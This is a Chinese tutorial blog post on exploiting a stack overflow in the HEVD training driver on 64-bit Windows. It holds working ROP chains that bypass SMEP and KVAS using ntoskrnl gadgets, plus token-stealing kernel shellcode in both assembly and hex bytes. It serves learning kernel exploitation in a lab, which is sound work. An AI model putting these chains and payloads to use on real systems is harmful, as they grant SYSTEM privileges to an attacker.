从零探索现代windows内核栈溢出-以HEVD练习为例(下)
Joe1sn 发表于 四川 二进制安全 958浏览 · 2024-01-23 13:31

中篇的内容一路走来实属不易,本附录对第二章的以下几个遗留问题做出说明

  • user编程寻找ROPGadget
  • shellcode编写
  • Token提权
  • KVAS

user编程寻找ROPGadget

ROP全称加返回导向性编程,比如这一章用到的Gadget

pop rcx
ret

mov cr4, rcx
ret

关于ret汇编本质上就是从栈帧中取出值,然后将ip寄存器设置为该值,等价于pop ip,这样就能完成函数调用的返回等等。

本章中当我们发生栈溢出时,就会把ret的位置设置为第一段gadget的位置

  • pop rcx就会将此时栈顶的值0x00000000002506f8存入rcx寄存器,然后ret又从栈顶取出地址mov_rc4_rcx_ret,然后rip寄存器就跳转执行了
  • mov rc4, rcxrcx值存入rc4中然后ret又将栈顶的值shellcode_addr设置为rip寄存器的值后返回

细心一点就会发现本章截图中的地址不一样,因为内核加载时的内存虚拟地址也是随机化的,不过寻址方式依旧是基地址+偏移

这就引申出函数第一段代码:找到内核的基地址

A.找到内核基地址

通过NtQuerySystemInformation这个“半隐藏”函数实现的

MSDN:https://learn.microsoft.com/zh-cn/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation

__kernel_entry NTSTATUS NtQuerySystemInformation(
  [in]            SYSTEM_INFORMATION_CLASS SystemInformationClass,
  [in, out]       PVOID                    SystemInformation,
  [in]            ULONG                    SystemInformationLength,
  [out, optional] PULONG                   ReturnLength
);
[in, out] SystemInformation

指向接收请求信息的缓冲区的指针。 此信息的大小和结构因 SystemInformationClass 参数的值而异:

很可惜,关于SystemInformationClass微软并没有公开它的设计,网上有很多关于此的资料

SYSTEM_INFORMATION_CLASShttps://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntexapi/system_information_class.htm

他是一个枚举,其中0xB就代表着要查询的是SystemModuleInformation

SYSTEM_MODULEhttp://undocumented.ntinternals.net/index.html?page=UserMode%2FStructures%2FSYSTEM_MODULE.html

typedef struct _SYSTEM_MODULE {
  ULONG                Reserved1;
  ULONG                Reserved2;
  PVOID                ImageBaseAddress;
  ULONG                ImageSize;
  ULONG                Flags;
  WORD                 Id;
  WORD                 Rank;
  WORD                 w018;
  WORD                 NameOffset;
  BYTE                 Name[MAXIMUM_FILENAME_LENGTH];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

SystemInformation就是由SYSTEM_MODULE数组作为成员的结构体,这个没有官方文档,也是通过逆向得到的

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

关于查询函数的定义:

unsigned long long ulGetKernelBase(PCHAR ModuleName);
  1. 首先从ntdll导入函数
  2. 然后初始化变量
  3. 查询后打印并返回,如果没有查到就返回0
unsigned long long ulGetKernelBase(PCHAR ModuleName) {
    PVOID kernelImageBase = NULL;
    PCHAR kernelImage = NULL;


    //import function `NtQuerySystemInformation`
    HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
    PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL) {
        printf("[!] GetProcAddress() failed.\n");
        return 0;
    }

    //init length
    ULONG len = 0;
    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    //init module infomations
    PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
    if (pModuleInfo == NULL) {
        printf("[!] [ulGetKernelBase]  Could not allocate memory for module info.\n");
        return 0;
    }

    //starting quering
    NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);

    if (status != (NTSTATUS)0x0) {
        printf("[!] [ulGetKernelBase] NtQuerySystemInformation failed with error code 0x%X\n", status);
        return 0;
    }
    for (unsigned int i = 0; i < pModuleInfo->ModulesCount; i++) {
        kernelImage = (PCHAR)pModuleInfo->Modules[i].Name;
        if (strstr(kernelImage, ModuleName)) {
            kernelImageBase = pModuleInfo->Modules[i].ImageBaseAddress;
            printf("[*] [ulGetKernelBase]  Mod name %s ", kernelImage);
#ifdef _WIN64
            printf(" Base Addr 0x%llx\r\n", kernelImageBase);
#else
            printf(" Base Addr 0x%X\r\n", kernelImageBase);
#endif
            return (unsigned long long)kernelImageBase;
        }
    }
    return 0;
}

B. 找到对应汇编

可以使用CTF常用工具ROPGadget,他支持PE格式(因为用的Capstone反汇编引擎)

ROPgadget --binary ./HEVD.sys --only "pop|ret"

试试ntoskrl.exe

0x000000014039eb47 : mov cr4, rcx ; ret

得到基地址是0x39eb47,另外一个gadget同理

重写修改下EXP

unsigned long long base = ulGetKernelBase((PCHAR)"ntoskrnl.exe");
    unsigned long long pop_rcx = base+ 0x20C64C;
    unsigned long long mov_cr4_rcx = base+ 0x39eb47;

    printf("[*] Start set ROP\n");
    *(unsigned long long*)(stackspace + 0x818) = (unsigned long long)pop_rcx;
    //set RCX = currentRC4
    *(unsigned long long*)(stackspace + 0x820) = (unsigned long long)0x00000000002506f8;
    *(unsigned long long*)(stackspace + 0x828) = (unsigned long long)mov_cr4_rcx;
    *(unsigned long long*)(stackspace + 0x830) = (unsigned long long)shellcode_addr;

一些常见的gadget字节序列

{ "RET" , { 0xC3 }},
    { "POP_RAX", { 0x58, 0xC3 }},
    { "POP_RCX", { 0x59, 0xc3 }},
    { "MOV_CR4_RCX", { 0x0f, 0x22, 0xe1, 0xc3 }},

    { "NOP", { 0x4d, 0xc3 }},
    { "POP_RAX_POP_RCX", { 0x58, 0x59, 0xc3 }},
    { "MOV_RCX_PTRRAX", { 0x48, 0x89, 0x08, 0xc3 }},
    { "MOV_RAX_PTRRCX", { 0x89, 0x01, 0xc3 }},
    { "XOR_RAX_RAX", { 0x48, 0x33, 0xc0, 0xc3 }},
    { "XOR_ESI_ESI", { 0x31, 0xf6, 0xc3 }},

如果想直接从二进制读取(这样更快)可以使用:https://github.com/xct/windows-kernel-exploits 提供的思路去找

shellcode编写

A. 手动进行Token提权

第二章中使用的是他人提供的shellcode,这里尝试自己写汇编

注意,这里我们已经进入内核了,所以做的事情和user级别不一样

KRPOCESS不同的是EPROCESS描述了程序运行的相关环境,例如:对应的KPROCESS指针、程序的权限等

在windbg中使用 ,可以列举所有的进程的相关信息

!process 0 0 <process_name>

使用下面的命令来查看对应的EPROCESS结构体,这里查看System进程的

dt nt!_EPROCESS <Process address>

Token是一个_EX_FAST_REF类型的Union值

RefCnt记录了Token引用的数目,是数据的低4位(64位中,32位是3位)

将当前进程的除RefCnt以外的其他bit位设置为和System的一致就行了,

这里 Value与掩码-0xd(RefCount)进行&运算就能得到真实的Token值

现在将计算出的Token值复制给cmd.exe(这是一个新的Token

B. 进行Shellcode编写

在刚才的EPROCESS中,有一段记录的是程序的链表:ActiveProcessLinks,而且windows会生成一段独特的标识来标记每一个程序:UniqueProcessId,在这段 双向 链表上每段程序都可以被找到,因为可以向前和向后查找,一般System位于链表开头,所以沿着Flink查找

  1. 通过EPROCESS获得自身ActiveProcessLinks,同时向前/向后查找

    这篇文章中通过模仿PsGetCurrentProcessgs:[188h]指向的是一个_KTHREAD,函数的汇编会将这个地址add addr,0xb8,就得到了当前进程的_EPROCESS,这也是许多shellcode的技巧

    ffff9984d3d97080就为一个 当前进程的KiInitialThread

    +0xB8指向的是当前进程的EPROCESS

  2. 比较当前ActiveProcessLinks-8的内存地址是否为UniqueProcessId

  3. 否:更换当前结构体为下一个

  4. 是:从ActiveProcessLinks-0x70的位置得到Token地址

  5. 解析Token,赋值给当前进程(Windows会自动解析为exp的程序(从页表映射等来看确实应该如此))

仔细逆向会发现

那么在没有任何栈变动的情况下add rsp, 0x28就能恢复栈,但是我们只有了ROP,ROP链中存在两个ret和一个pop,抬栈了0x18,所以在shellcode中只需要add rsp, 0x10

同时HEVD的NT_STATUS使用RAX检测处理是否成功,所以要xor rax,rax

[Bits 64]

_start:    
    xor rax, rax
    mov rax, gs:[rax+0x188]
    mov rax, [rax+0xb8]     ;rax = 当前EPROCESS
    mov r9, rax             ;r9  = 当前EPROCESS
    mov rax, [rax+0x448]    ;rax = 当前EPROCESS.List
    mov rax, [rax]          ;rax = 当前EPROCESS.List->flink

__loop:
    mov rdx, [rax-0x8]      ;rdx = 上一个进程的 upid
    mov r8, rax             ;r8  = 当前EPROCESS.List->flink
    mov rax, [rax]          ;rax = 上一个进程的.List
    cmp rdx, 0x4
    jnz __loop

    ;rdx = 4
    ;r8 = System EPROCESS
    mov rdx, [r8+0x70]      ;rdx = system token
    and rdx, -0x8           ;消除低4位
    mov rcx, [r9+0x4b8]     ;当前EPROCESS的token
    and rcx, 0x7            ;
    add rdx, rcx            ;rdx = 系统token高位+当前token低4位
    mov [r9+0x4b8], rdx     ;将合成的token复制给当前

    add rsp, 0x10
    retn

使用nasm

& "C:\Users\xxxx\AppData\Local\bin\NASM\nasm.exe" -f win64 .\TokenSteal.asm -o .\TokenSteal.bin

编译出的文件位COFF格式,要提取出来,这里我用的是CFF Explore的快速反汇编定位到代码然后用HxD提取的

unsigned char cmd[84] = {
    0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48,
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xC1, 0x48, 0x8B, 0x80,
    0x48, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x50, 0xF8, 0x49,
    0x89, 0xC0, 0x48, 0x8B, 0x00, 0x48, 0x83, 0xFA, 0x04, 0x75, 0xF0, 0x49,
    0x8B, 0x50, 0x70, 0x48, 0x83, 0xE2, 0xF8, 0x49, 0x8B, 0x89, 0xB8, 0x04,
    0x00, 0x00, 0x48, 0x83, 0xE1, 0x07, 0x48, 0x01, 0xCA, 0x49, 0x89, 0x91,
    0xB8, 0x04, 0x00, 0x00, 0x48, 0x31, 0xC0, 0x48, 0x83, 0xC4, 0x10, 0xC3
};

C. 分析上一篇的shellcode

BYTE cmd[256] = {
    0x48, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00,
    0x00, 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89,
    0xc1, 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8b,
    0x00, 0x48, 0x8b, 0x50, 0xf8, 0x49, 0x89, 0xc0, 0x48, 0x8b,
    0x00, 0x48, 0x83, 0xfa, 0x04, 0x75, 0xf0, 0x49, 0x8b, 0x50,
    0x70, 0x48, 0x83, 0xe2, 0xf8, 0x49, 0x8b, 0x89, 0xb8, 0x04,
    0x00, 0x00, 0x48, 0x83, 0xe1, 0x07, 0x48, 0x01, 0xca, 0x49,
    0x89, 0x91, 0xb8, 0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04,
    0x25, 0x88, 0x01, 0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01,
    0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01,
    0x00, 0x00, 0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48,
    0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78,
    0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00,
    0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f,
    0x01, 0xf8, 0x48, 0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};

写入一个二进制文档,用ida逆向

发现原理一致,最后对栈的恢复不同

已知gs:[0x188]指向一个_KTHREAD结构体

根据windbg的调试结果知道

mov cx, [rax+0x1e4]     ;+0x1e4 KernelApcDisable : 0n-1
    inc cx                  ;
    mov [rax+0x1e4], cx     ;更新KernelApcDisable为0
    mov rdx, [rax+0x90]     ;+0x090 [TrapFrame]: 0xfffff88e`1d2edb00 
                            ;_KTRAP_FRAME
                            ;---下面为_KTRAP_FRAME
    mov rcx, [rdx+0x168]    ;[+0x168] Rip
    mov r11, [rdx+0x178]    ;[+0x178] EFlags
    mov rsp, [rdx+0x180]    ;[+0x180] Rsp
    mov rbp, [rdx+0x158]    ;[+0x158] Rbp

可能还是有点绕,反汇编一下TrapFrame的RIP

相当于通过TrapFrame,替换了exp中的DeviceIoControl(模仿正常执行),并让他正常返回

接着重定位GS寄存器,使用sysret返回,为了对齐,有的汇编是这样的写的

o64 sysret  ; nasm shit

D. 开启Token所有权限 [优化shellcode]

即使我们已经成功生成了令牌,但是功能依旧是不全的

被禁用的功能依旧有很多

I. 开启当前权限为启用

重新打开一个普通用户的cmd.exe

用A部分的方法找到该进程

查看token格式,对照一下SID。(注意低位要为0)

!token <Token数值,但是个位数为0>

dt !_sep_token_privileges 0xffffb106`ecc96060+0x40

将Enabled值设置为Present值

eq 0xffffb106`ecc96060+0x40+8 0x00000006`02880000

查看权限

II. 获得所有权限并启用

用A部分的方法得到System的Token

再得到SystemToken的Present值

设置当前Token的Present和Enabled为该值

查看权限

III.重新编写shellcode

[Bits 64]

_start:    
    xor rax, rax
    mov rax, gs:[rax + 0x188]
    mov rax, [rax + 0xb8]     ;rax = 当前EPROCESS
    mov r9, rax               ;r9  = 当前EPROCESS
    mov rax, [rax + 0x448]    ;rax = 当前EPROCESS.List
    mov rax, [rax]            ;rax = 当前EPROCESS.List->flink

__loop:
    mov rdx, [rax - 0x8]      ;rdx = 上一个进程的 upid
    mov r8, rax               ;r8  = 当前EPROCESS.List->flink
    mov rax, [rax]            ;rax = 上一个进程的.List
    cmp rdx, 0x4
    jnz __loop

    ;rdx = 4
    ;r8 = System EPROCESS
    mov rdx, [r8+0x70]      ;rdx = system token
    and rdx, -0x8           ;消除低4位
    mov rcx, [r9+0x4b8]     ;当前EPROCESS的token
    and rcx, 0x7            ;
    add rdx, rcx            ;rdx = 系统token高位+当前token低4位
    mov [r9+0x4b8], rdx     ;将合成的token复制给当前

    ;Enable ALL
    mov rdx, [r8 + 0x70]      ;rdx = system token
    and rdx, 0xFFFFFFFFFFFFFFF0           ;system token: 消除低8位,便于解析Token
    mov rbx, [rdx + 0x40]     ;rbx = System token的Present
    mov rcx, [r9 + 0x4b8]     ;rcx = 新的EPROCESS的token
    and rcx, 0xFFFFFFFFFFFFFFF0           ;new current token: 消除低8位,便于解析Token
    mov [rcx + 0x40], rbx
    mov [rcx + 0x48], rbx

    xor rax, rax
    add rsp, 0x10
    retn

KVAS

A. 简介

KVAS全称是Kernel Virtual Address Shadow,它的出现与MeltDown(CVE-2017-5754)和TotalMeltDown(CVE-2018-1038)有关。

我的描述不一定准确,大致上来说这两个漏洞利用了CPU的乱序执行技术,即CPU在执行时不一定会按照流程执行。当我们访问一个不能被用户模式访问的内存页时,CPU会执行该语句然后将其缓存到内存中,等到发现不能访问后返回错误,但是该数据依旧存在于缓存当中。利用这种思路就可以完全读取内核中的数据,实现权限提升等。

微软为了缓解该漏洞,从用户页表中隔离出内核页表,让用户态访问到的内核页表也是经过映射的,并且会将用户页表自动标记为NX,让我们的shellcode无法执行

B. Bypass

虽然用户页表为不可执行,但是内核页表仍然可执行,只不过会延长我们ROP链的长度

需要用到的函数是:ExAllocatePoolWithTagRtlCopyMemory

  • ExAllocatePoolWithTag:用于在内核中开辟一块地址
  • RtlCopyMemory:复制内存到内核开辟的内存池
LPVOID space = ExAllocatePoolWithTag(0, 0x100, 0xDEAD);
//NonPagedPoolExecute = 0
//空间大小:0x100
RtlCopyMemory(space, shellcode_addr, 0x100);

MSDN中说明该两个函数在内核中均位于NtosKrnl.exe里,可以使用CFF Explorer查看导出表找到函数

需要说明的一点是ExAllocatePoolWithTag有一个很恶心的地方就是

这三个mov会打乱我们精心设计的ROP链,而且后面根本没有使用到他,所以要直接进入push rdi的位置

RtlCopyMemory其实是一个宏

unsigned long long base = ulGetKernelBase((PCHAR)"ntoskrnl.exe");
    unsigned long long ulExAllocatePoolWithTag = base + 0x9B203F;
    unsigned long long ulRtlCopyMemory = base + 0x40BEC0;

根据微软的函数调用规则,传参顺序是rcxrdxr8,返回地参数在rax

那么一个理想的ROP布局

pop rcx rdx r8 ret
0
0x100
0xDEAD
ExAllocatePoolWithTag
---------------------------
pop rcx rdx r8 ret
0   ;暂时
shellcode_addr
0x100;
mov rcx, rax ret    ;此时rcx = ExAllocatePoolWithTag返回地内存地址
RtlCopyMemory
---------------------------
jmp rax

就这些gadget中的pop会消除rsp+0x28的驱动的Handle函数返回地址,所以首先是抬栈,如sub rsp, 0x100,在jmp rax之前多次调用ret来抬升rsp的值,最终回到shellcode调整为适用的rsp值。

实际情况中也不会有恰好的gadget用

实际上能用的mov rcx, rax可以通过以下方式实现

0x00000001408fa783 : push rax ; push rbx ; ret
0x00000001408fa77b : push rax ; push rdi ; ret
0x000000014020262C : pop rdi ; ret

这样就能让rcx=rax了,布局后栈的情况

ulExAllocatePoolWithTag
pop_rdi
pop_rcx
push_rax_rdi
  1. pop rdiRDI =pop rcx地址,出栈一个,rsp指向push_rax_rdi,然后ret跳转到该地址
  2. push rax:将申请的内核内存地址放到了栈上,rsp指向值就为该内存的地址
  3. push rdi; ret:等效于jmp rdi,于是ret到了pop rcx
  4. pop rcx:此时的栈顶为 2 中入栈的rax

成功让RCX=RAX

这里暂时设计payload

//typedef unsigned long long funcaddr;

    *(funcaddr*)(stackspace + 0x818) = (funcaddr)pop_rcx;
    *(funcaddr*)(stackspace + 0x818 + 8) = (funcaddr)0;
    *(funcaddr*)(stackspace + 0x818 + 0x10) = (funcaddr)pop_rdx;
    *(funcaddr*)(stackspace + 0x818 + 0x18) = (funcaddr)0x100;
    *(funcaddr*)(stackspace + 0x818 + 0x20) = (funcaddr)pop_r8;
    *(funcaddr*)(stackspace + 0x818 + 0x28) = (funcaddr)0xDEAD;
    *(funcaddr*)(stackspace + 0x818 + 0x30) = (funcaddr)ulExAllocatePoolWithTag;

    *(funcaddr*)(stackspace + 0x818 + 0x38) = (funcaddr)pop_rdi;    //rsp = 0
    *(funcaddr*)(stackspace + 0x818 + 0x40) = (funcaddr)pop_rcx;    //rdi = rcx --- been force to zero
    *(funcaddr*)(stackspace + 0x818 + 0x48) = (funcaddr)push_rax_rdi;//ret rdi: pop_rcx value changed

    *(funcaddr*)(stackspace + 0x818 + 0x50) = (funcaddr)pop_rdx;        //此处被低位被清零
    *(funcaddr*)(stackspace + 0x818 + 0x58) = (funcaddr)shellcode_addr; 

    *(funcaddr*)(stackspace + 0x818 + 0x70) = (funcaddr)pop_r8;
    *(funcaddr*)(stackspace + 0x818 + 0x78) = (funcaddr)sizeof(cmd);
    *(funcaddr*)(stackspace + 0x818 + 0x80) = (funcaddr)ulRtlCopyMemory;
    *(funcaddr*)(stackspace + 0x818 + 0x88) = (funcaddr)jmp_rax;

但是进行ExAllocatePoolWithTag

打断了ROP链,让rsp+68的位置的低32位清零了,这让我们需要调整这段rop链

*(funcaddr*)(stackspace + 0x818 + 0x50) = (funcaddr)pop_rdx;        //此处被低位被清零
    *(funcaddr*)(stackspace + 0x818 + 0x58) = (funcaddr)shellcode_addr; 
    *(funcaddr*)(stackspace + 0x818 + 0x60) = (funcaddr)pop_rdx;        //恢复rdx
    *(funcaddr*)(stackspace + 0x818 + 0x68) = (funcaddr)shellcode_addr;

    *(funcaddr*)(stackspace + 0x818 + 0x70) = (funcaddr)pop_r8;
    *(funcaddr*)(stackspace + 0x818 + 0x78) = (funcaddr)sizeof(cmd);

在设置CR4.SMEP的情况下,依靠内核分配的内存,成功运行了shellcode,ROP链进行了多次调用,让最后shellcode中的rsp值不好估计,并且栈的情况可能随着函数的调用将原有的值抹去,这里先把shellcode换成从TrapFrame返回的

C. 优化shellcode

所以这段shellcode参考shellcode编写的C、D部分,加上了所有功能Enabled的shellcode片段

[Bits 64]

_start:    
    xor rax, rax
    mov rax, gs:[rax + 0x188]
    mov rax, [rax + 0xb8]     ;rax = 当前EPROCESS
    mov r9, rax               ;r9  = 当前EPROCESS
    mov rax, [rax + 0x448]    ;rax = 当前EPROCESS.List
    mov rax, [rax]            ;rax = 当前EPROCESS.List->flink

__loop:
    mov rdx, [rax - 0x8]      ;rdx = 上一个进程的 upid
    mov r8, rax               ;r8  = 当前EPROCESS.List->flink
    mov rax, [rax]            ;rax = 上一个进程的.List
    cmp rdx, 0x4
    jnz __loop

    ;rdx = 4
    ;r8 = System EPROCESS

    mov rdx, [r8+0x70]      ;rdx = system token
    and rdx, -0x8           ;消除低4位
    mov rcx, [r9+0x4b8]     ;当前EPROCESS的token
    and rcx, 0x7            ;
    add rdx, rcx            ;rdx = 系统token高位+当前token低4位
    mov [r9+0x4b8], rdx     ;将合成的token复制给当前

    ;Enable ALL
    mov rdx, [r8 + 0x70]      ;rdx = system token
    and rdx, 0xFFFFFFFFFFFFFFF0           ;system token: 消除低8位,便于解析Token
    mov rbx, [rdx + 0x40]     ;rbx = System token的Present
    mov rcx, [r9 + 0x4b8]     ;rcx = 新的EPROCESS的token
    and rcx, 0xFFFFFFFFFFFFFFF0           ;new current token: 消除低8位,便于解析Token
    mov [rcx + 0x40], rbx
    mov [rcx + 0x48], rbx

    mov     rax, gs:188h
    mov     cx, [rax+1E4h]
    inc     cx
    mov     [rax+1E4h], cx
    mov     rdx, [rax+90h]
    mov     rcx, [rdx+168h]
    mov     r11, [rdx+178h]
    mov     rsp, [rdx+180h]
    mov     rbp, [rdx+158h]
    xor     eax, eax
    swapgs
    o64 sysret

得到shellcode

unsigned char cmd[176] = {
    0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48,
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xC1, 0x48, 0x8B, 0x80,
    0x48, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x50, 0xF8, 0x49,
    0x89, 0xC0, 0x48, 0x8B, 0x00, 0x48, 0x83, 0xFA, 0x04, 0x75, 0xF0, 0x49,
    0x8B, 0x50, 0x70, 0x48, 0x83, 0xE2, 0xF8, 0x49, 0x8B, 0x89, 0xB8, 0x04,
    0x00, 0x00, 0x48, 0x83, 0xE1, 0x07, 0x48, 0x01, 0xCA, 0x49, 0x89, 0x91,
    0xB8, 0x04, 0x00, 0x00, 0x49, 0x8B, 0x50, 0x70, 0x48, 0x83, 0xE2, 0xF0,
    0x48, 0x8B, 0x5A, 0x40, 0x49, 0x8B, 0x89, 0xB8, 0x04, 0x00, 0x00, 0x48,
    0x83, 0xE1, 0xF0, 0x48, 0x89, 0x59, 0x40, 0x48, 0x89, 0x59, 0x48, 0x65,
    0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x88, 0xE4,
    0x01, 0x00, 0x00, 0x66, 0xFF, 0xC1, 0x66, 0x89, 0x88, 0xE4, 0x01, 0x00,
    0x00, 0x48, 0x8B, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8A, 0x68,
    0x01, 0x00, 0x00, 0x4C, 0x8B, 0x9A, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8B,
    0xA2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xAA, 0x58, 0x01, 0x00, 0x00,
    0x31, 0xC0, 0x0F, 0x01, 0xF8, 0x48, 0x0F, 0x07
};

缺点就是程序无法exit退出,不过可以在shellcode中设置Token迁移等一些其他操作,这里就不展开了

参考

https://wumb0.in/finding-the-base-of-the-windows-kernel.html

https://github.com/xct/windows-kernel-exploits

https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/

https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/

https://mdanilor.github.io/posts/hevd-2/

0 条评论
某人
表情
可输入 255